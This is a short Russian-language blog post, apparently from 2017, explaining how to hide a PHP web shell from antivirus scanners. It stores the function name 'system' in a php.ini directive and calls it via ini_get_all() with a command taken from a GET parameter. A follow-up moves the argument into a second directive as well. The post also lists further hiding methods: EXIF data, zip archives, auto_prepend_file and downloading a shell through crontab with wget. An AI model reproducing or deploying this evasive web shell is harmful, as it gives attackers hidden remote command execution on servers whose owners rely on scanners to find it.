Home

Виталий Рудных

19 июня 2017

Прячем шелл от антивирусов в php.ini

На практике с подобным способом сокрытия шеллов я никогда не сталкивался, но подумал что идея использования php.ini директив в качестве хранения имен функций очень крута, поэтому решил написать эту статью.
Для начала нам понадобиться директива которая не имеет строгого формата и позволяет хранить plaintext значение.

В качестве подобных директив может подойти:

  • default_charset
  • default_mimetype
  • request_order
  • variables_order
  • date.timezone
    Возможно подойдет что-то еще, это краткий список который мне удалось по быстрому найти.

Прописываем в php.ini следующую строчку:
default_mimetype = "system"

Смотрим вывод phpinfo();
phpinfo()

Создаем файл shell.php и прописываем код для вызова system()

<?php
$a = ini_get_all()['default_mimetype']['local_value'];  
$a($_GET['c']);

Пробуем вызвать screenfetch shell Как видим, шелл работает. Т.к. в данном коде явного вызова вредоносного кода нет, антивирусным сигнатурам просто не за что будет ухватиться (разве что $_GET[‘c’], но это можно обойти).
На моей памяти есть еще несколько экзотических способов сокрытия кода от посторонних глаз (про бд не буду писать т.к. в последнее время вирусы в бд встречаются довольно часто, например в modx).

  • В exif данных изображений и их вызов через функцию exif_read_data()
  • В zip архивах, распаковка через сторонние библиотеки
  • Вредонос в директории вне сайта и его подключение через директиву auto_prepend_file
  • Загрузка шелла по расписанию из crontab через wget

P.S.
От $_GET[‘c’] можно избравиться если засунуть аргумент вызова system() во вторую директиву, например, default_charset и вызывать код как:
ini_get_all()['default_mimetype']['local_value']( ini_get_all()['default_charset']['local_value']);

scribble